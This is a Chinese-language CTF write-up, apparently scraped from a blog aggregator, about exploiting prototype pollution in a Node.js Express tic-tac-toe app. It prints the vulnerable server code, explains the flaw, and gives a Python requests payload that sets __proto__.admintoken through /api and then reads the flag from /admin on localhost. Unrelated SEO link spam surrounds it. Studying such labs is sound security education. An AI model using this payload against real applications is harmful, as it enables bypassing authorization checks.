当前位置: 首页 > news >正文

南京汽车企业网站建设wordpress 购物模板

南京汽车企业网站建设,wordpress 购物模板,山东助企网站建设,做网站要什么知识目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了 解题 代码审计 const express require(express) var hbs require…

目录

准备工作

解题

代码审计

Payload


准备工作

        将这道题所需依赖模块都安装好后

         运行一下,然后可以试着访问一下,报错是因为里面没内容而已,不影响,准备工作就做好了

解题

代码审计

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
关键代码   if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} 
可以看到flag就在这个if里面,想要进来就需要请求的query.querytoken等于md5编码后的user.admintoken
但是纵观全文,根本就没有admintoken这个值,所以就需要我们原型链污染一下

 解题关键就在这里,将请求体里面的row,col,data都是我们post传进去的可控的

Payload

 

import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)print(res2.text)
说明:/api和/admin进的地方不一样headers是为了能让服务器读懂json格式
把data转成json格式,要不然__proto__不是属性

 这个比之前那个简单一些,只是我想拿burpsuite复现遇到了点阻碍,回去研究一下

http://www.hyszgw.com/news/40320.html

相关文章:

  • 建筑网站、怎么用dw建设网站
  • 哪个网站可以做兼职for和wordpress
  • 上海 顶尖 网站设计专业app网站建设哪家好
  • 元谋网站建设哪种网络营销方式最好
  • 工信部网站怎么查网址wordpress 随机数
  • 网站空间数据微信如何链接wordpress
  • 哪种语言做网站网站建设的一般流程是
  • 网站设计用那个软件装修顺序
  • 平面设计师常用的素材网站购物网站常用的多组图左右轮播的js图片特效代码
  • 常见的网站开发语言wordpress一键变灰色
  • 电子商务网站建设网站电子版导航到光明城市
  • 网站建设建设报价在线代理上网
  • 建设工程合同备案是在网站上吗传奇国度网页游戏
  • 北京监理建设协会网站天水市建设局网站吊篮管理通知
  • 做同性恋的珠宝网站第五届中国国际进口博览会召开时间
  • 网页型网站中山公众号平台商场网站建设
  • 城乡建设厅官方网站办事大厅泰安网站建设优化案例报告
  • 塔罗牌手机网站制作网络营销策略案例分析
  • seo整站优化方案案例建企业网站行业网
  • 网站页面可以用什么框架做企业宣传片文案
  • 成都品牌网站建设电话河北招投标信息服务平台
  • 东莞做网站优化的公司最热门的网络游戏排行
  • 扬州哪家公司做网站比较好电商平台怎么运营的
  • 东莞网站搭建辽宁建设工程质量监督站网站
  • 网站的建设的含义怎么样建设一个网上教学网站
  • 不申请域名可以 做网站吗购物网站开发价格
  • 找工作在什么网站找比较好手机app开发培训
  • 怎么建设个人博客网站上海seo课程
  • 广州化妆品网站设计甘肃做网站的公司
  • 简单网站建设优化推广wordpress超链接